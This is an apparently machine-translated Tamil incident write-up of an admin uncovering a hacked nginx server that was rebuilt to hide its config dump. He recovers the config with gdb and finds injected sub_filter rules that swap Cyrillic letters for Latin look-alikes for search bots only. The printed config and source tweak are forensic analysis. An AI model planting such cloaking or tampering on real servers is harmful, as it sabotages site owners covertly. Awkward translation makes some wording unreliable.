'a' என்பது 'a' க்கு சமமாக இல்லாதபோது. ஒரு ஹேக்கின் பின்னணியில்

என் நண்பர் ஒருவருக்கு மிகவும் விரும்பத்தகாத கதை நடந்தது. ஆனால் மைக்கேலுக்கு அது விரும்பத்தகாததாக மாறியது, அது எனக்கு பொழுதுபோக்காக இருந்தது.

என் நண்பன் நல்லவன் என்றுதான் சொல்ல வேண்டும் யுனிக்ஸ்-பயனர்: கணினியை தானே நிறுவ முடியும் MySQL, PHP மற்றும் எளிய அமைப்புகளை உருவாக்கவும் Nginx.
கட்டுமானக் கருவிகளுக்கு அர்ப்பணிக்கப்பட்ட ஒரு டஜன் அல்லது ஒன்றரை வலைத்தளங்கள் அவரிடம் உள்ளன.

செயின்சாக்களுக்காக அர்ப்பணிக்கப்பட்ட இந்த தளங்களில் ஒன்று தேடுபொறிகளின் TOP இல் உறுதியாக உள்ளது. இந்த தளம் வணிகரீதியில் அல்லாத மதிப்பாய்வாளர், ஆனால் யாரோ ஒருவர் அதைத் தாக்கும் பழக்கத்தைப் பெற்றுள்ளார். அந்த DDoS, பின்னர் முரட்டுத்தனமாக, பின்னர் அவர்கள் ஆபாசமான கருத்துக்களை எழுதுகிறார்கள் மற்றும் ஹோஸ்டிங் மற்றும் RKN க்கு முறைகேடுகளை அனுப்புகிறார்கள்.
திடீரென்று, எல்லாம் அமைதியாகி, இந்த அமைதியானது நல்லதல்ல என்று மாறியது, மேலும் தளம் படிப்படியாக தேடல் முடிவுகளின் மேல் வரிகளை விட்டு வெளியேறத் தொடங்கியது.

'a' என்பது 'a' க்கு சமமாக இல்லாதபோது. ஒரு ஹேக்கின் பின்னணியில்

அது ஒரு பழமொழி, பின்னர் நிர்வாகியின் கதை.

உறங்கும் நேரம் நெருங்கிக்கொண்டிருந்தபோது தொலைபேசி ஒலித்தது: “சான், என் சர்வரைப் பார்க்க மாட்டாயா? நான் ஹேக் செய்யப்பட்டதாக எனக்குத் தோன்றுகிறது, என்னால் அதை நிரூபிக்க முடியாது, ஆனால் மூன்றாவது வாரமாக அந்த உணர்வு என்னை விட்டு வெளியேறவில்லை. ஒருவேளை நான் சித்தப்பிரமைக்கு சிகிச்சை பெற வேண்டிய நேரமாகிவிட்டதா?

தொடர்ந்து அரை மணி நேர விவாதம் நடந்தது, அதை பின்வருமாறு சுருக்கமாகக் கூறலாம்:

  • ஹேக்கிங்கிற்கான மண் மிகவும் வளமானதாக இருந்தது;
  • தாக்குபவர் சூப்பர் யூசர் உரிமைகளைப் பெறலாம்;
  • தாக்குதல் (நடந்தால்) குறிப்பாக இந்த தளத்தில் குறிவைக்கப்பட்டது;
  • சிக்கல் பகுதிகள் சரி செய்யப்பட்டுள்ளன, மேலும் ஏதேனும் ஊடுருவல் உள்ளதா என்பதை நீங்கள் புரிந்து கொள்ள வேண்டும்;
  • தளத்தின் குறியீடு மற்றும் தரவுத்தளங்களை ஹேக் பாதிக்காது.

கடைசி புள்ளி குறித்து.

'a' என்பது 'a' க்கு சமமாக இல்லாதபோது. ஒரு ஹேக்கின் பின்னணியில்

வெள்ளை முகப்பு ஐபி மட்டுமே உலகைப் பார்க்கிறது. http(கள்) தவிர, பின்தளங்கள் மற்றும் முன்பக்கம் இடையே எந்த பரிமாற்றமும் இல்லை, பயனர்கள்/கடவுச்சொற்கள் வேறுபட்டவை, விசைகள் எதுவும் பரிமாறப்படவில்லை. சாம்பல் நிற முகவரிகளில், 80/443 தவிர அனைத்து போர்ட்களும் மூடப்படும். மைக்கேல் முழுமையாக நம்பும் இரண்டு பயனர்களுக்கு மட்டுமே வெள்ளை பின்தள IPகள் தெரியும்.

முன்பக்கத்தில் நிறுவப்பட்டது டெபியன் 9 மேலும் அழைப்பு செய்யப்படும் நேரத்தில், கணினியானது வெளிப்புற ஃபயர்வால் மூலம் உலகில் இருந்து தனிமைப்படுத்தப்பட்டு நிறுத்தப்படும்.

"சரி, எனக்கு அணுகலைக் கொடுங்கள்," நான் தூக்கத்தை ஒரு மணி நேரம் தள்ளி வைக்க முடிவு செய்கிறேன். "நான் என் கண்களால் பார்க்கிறேன்."

இங்கே மற்றும் மேலும்:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

சாத்தியமான ஹேக் தேடுகிறது

நான் முதலில் சேவையகத்தைத் தொடங்குகிறேன் மீட்பு முறை. நான் வட்டுகளை ஏற்றி அவற்றை புரட்டுகிறேன் அங்கீகாரம்-பதிவுகள், வரலாறு, சிஸ்டம் பதிவுகள் போன்றவை, முடிந்தால், கோப்பு உருவாக்கும் தேதிகளை நான் சரிபார்க்கிறேன், இருப்பினும் ஒரு சாதாரண பட்டாசு தன்னைத்தானே "துடைத்திருப்பார்" என்பதை நான் புரிந்துகொள்கிறேன், மேலும் மிஷா தன்னைத் தேடிக்கொண்டிருந்தபோது ஏற்கனவே நிறைய "மிதிக்கப்பட்டார்". .

நான் சாதாரண பயன்முறையில் தொடங்குகிறேன், எதைத் தேடுவது என்பது இன்னும் புரியவில்லை, நான் கட்டமைப்புகளைப் படிக்கிறேன். முதலில், நான் ஆர்வமாக உள்ளேன் Nginx ஏனெனில், பொதுவாக, முகப்பில் அதைத் தவிர வேறு எதுவும் இல்லை.
கட்டமைப்புகள் சிறியவை, ஒரு டஜன் கோப்புகளாக கட்டமைக்கப்பட்டுள்ளன, நான் அவற்றைப் பார்க்கிறேன் பூனை'ஓ ஒவ்வொன்றாக. எல்லாம் சுத்தமாக இருப்பதாகத் தெரிகிறது, ஆனால் நான் எதையாவது தவறவிட்டேனா என்பது உங்களுக்குத் தெரியாது சேர்க்கிறது, முழு பட்டியலை உருவாக்குகிறேன்:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

எனக்குப் புரியவில்லை: "பட்டியல் எங்கே?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

பட்டியல் கேள்விக்கு இரண்டாவது கேள்வி சேர்க்கப்பட்டது: "ஏன் nginx இன் பண்டைய பதிப்பு?"

கூடுதலாக, சமீபத்திய பதிப்பு நிறுவப்பட்டதாக கணினி நம்புகிறது:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

நான் அழைக்கிறேன்:
- மிஷா, நீங்கள் ஏன் மீண்டும் இணைந்தீர்கள் Nginx?
- காத்திருங்கள், இதை எப்படி செய்வது என்று எனக்குத் தெரியவில்லை!
- சரி, தூங்கு...

nginx அது தெளிவாக புனரமைக்கப்பட்டுள்ளது மற்றும் "-T" ஐப் பயன்படுத்தி பட்டியலின் வெளியீடு ஒரு காரணத்திற்காக மறைக்கப்பட்டுள்ளது. ஹேக்கிங் பற்றி இனி எந்த சந்தேகமும் இல்லை, நீங்கள் அதை ஏற்றுக்கொள்ளலாம் மற்றும் (மிஷா எப்படியும் சேவையகத்தை புதியதாக மாற்றியதால்) சிக்கலை தீர்க்கவும்.

உண்மையில், யாரோ உரிமைகளைப் பெற்றதால் ரூட்'ஆ, அப்படியானால் அதைச் செய்வதில் அர்த்தமுள்ளது கணினியை மீண்டும் நிறுவுதல், மற்றும் அங்கு என்ன தவறு என்று தேடுவது பயனற்றது, ஆனால் இந்த முறை ஆர்வம் தூக்கத்தை தோற்கடித்தது. அவர்கள் நம்மிடமிருந்து எதை மறைக்க விரும்புகிறார்கள் என்பதை நாம் எப்படி கண்டுபிடிப்பது?

கண்டுபிடிக்க முயற்சிப்போம்:

$ strace nginx -T

நாங்கள் அதைப் பார்க்கிறோம், தடயத்தில் போதுமான கோடுகள் தெளிவாக இல்லை

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

வேடிக்கைக்காக, கண்டுபிடிப்புகளை ஒப்பிடுவோம்.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

குறியீட்டின் ஒரு பகுதி என்று நினைக்கிறேன் /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

படிவத்திற்கு கொண்டு வரப்பட்டது:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

அல்லது

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

எனவே "-T" இன் பட்டியல் காட்டப்படாது.

ஆனால் எங்கள் கட்டமைப்பை நாம் எவ்வாறு பார்க்க முடியும்?

என் எண்ணம் சரியென்றால் மாறி மாறி மட்டுமே பிரச்சனை ngx_dump_config இதைப் பயன்படுத்தி நிறுவ முயற்சிப்போம் ஜிடிபி, அதிர்ஷ்டவசமாக ஒரு சாவி உள்ளது --with-cc-opt -g தற்போதைய மற்றும் தேர்வுமுறை என்று நம்புகிறேன் -O2 அது நம்மை காயப்படுத்தாது. அதே நேரத்தில், எப்படி என்று எனக்குத் தெரியவில்லை ngx_dump_config செயலாக்க முடியும் வழக்கு 'டி':, இந்த தொகுதியை நாங்கள் அழைக்க மாட்டோம், ஆனால் இதைப் பயன்படுத்தி நிறுவவும் வழக்கு 't':

நீங்கள் ஏன் '-t' மற்றும் '-T' ஐப் பயன்படுத்தலாம்பிளாக் செயலாக்கம் என்றால்(ngx_dump_config) உள்ளே நடக்கும் என்றால்(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

நிச்சயமாக, இந்த பகுதியில் குறியீடு மாற்றப்பட்டிருந்தால் மற்றும் இல்லை வழக்கு 'டி':, என் முறை வேலை செய்யாது.

சோதனை nginx.confஏற்கனவே சிக்கலை சோதனை ரீதியாக தீர்த்துவிட்டதால், தீம்பொருள் வேலை செய்ய குறைந்தபட்ச கட்டமைப்பு தேவை என்று நிறுவப்பட்டது. Nginx வகை:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

கட்டுரையில் சுருக்கமாக அதைப் பயன்படுத்துவோம்.

பிழைத்திருத்தியை இயக்கவும்

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

படி படியாக:

  • செயல்பாட்டில் ஒரு இடைவெளியை அமைக்கவும் முக்கிய ()
  • திட்டத்தை துவக்கவும்
  • கட்டமைப்பின் வெளியீட்டை தீர்மானிக்கும் மாறியின் மதிப்பை மாற்றவும் ngx_dump_config=1
  • திட்டத்தை தொடரவும்/முடிக்கவும்

நாம் பார்க்கிறபடி, உண்மையான கட்டமைப்பு நம்மிடமிருந்து வேறுபடுகிறது, அதிலிருந்து ஒரு ஒட்டுண்ணித் பகுதியைத் தேர்ந்தெடுக்கிறோம்:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

இங்கே என்ன நடக்கிறது என்பதை வரிசையாகப் பார்ப்போம்.

தீர்மானிக்கப்பட்டது பயனர் முகவர்இன் யாண்டெக்ஸ்/கூகுள்:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

சேவை பக்கங்கள் விலக்கப்பட்டுள்ளன வேர்ட்பிரஸ்:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

மேலும் மேற்கூறிய இரண்டு நிபந்தனைகளின் கீழும் வருபவர்களுக்கு

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

உரையில் HTML- பக்கங்கள் மாறுகின்றன 'ஓ' மீது 'ஓ' и 'ஏ' மீது 'அ':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

அது சரி, ஒரே நுணுக்கம் அதுதான் 'a' != 'a' போலவே 'ஓ' != 'ஓ':

'a' என்பது 'a' க்கு சமமாக இல்லாதபோது. ஒரு ஹேக்கின் பின்னணியில்

எனவே, தேடுபொறி போட்கள், சாதாரண 100% சிரிலிக் உரைக்குப் பதிலாக, லத்தீன் மொழியில் நீர்த்த மாற்றப்பட்ட குப்பைகளைப் பெறுகின்றன. 'அ' и 'ஓ'. இது எஸ்சிஓவை எவ்வாறு பாதிக்கிறது என்பதைப் பற்றி விவாதிக்க எனக்கு தைரியம் இல்லை, ஆனால் இதுபோன்ற கடிதங்களின் குழப்பம் தேடல் முடிவுகளில் உள்ள நிலைகளில் நேர்மறையான தாக்கத்தை ஏற்படுத்தும் என்பது சாத்தியமில்லை.

நான் என்ன சொல்ல முடியும், கற்பனை நண்பர்களே.

குறிப்புகள்

GDB உடன் பிழைத்திருத்தம்
gdb(1) — லினக்ஸ் மேன் பக்கம்
strace(1) — Linux man பக்கம்
Nginx - தொகுதி ngx_http_sub_module
மரக்கட்டைகள், செயின்சாக்கள் மற்றும் மின்சார மரக்கட்டைகள் பற்றி

ஆதாரம்: www.habr.com

கருத்தைச் சேர்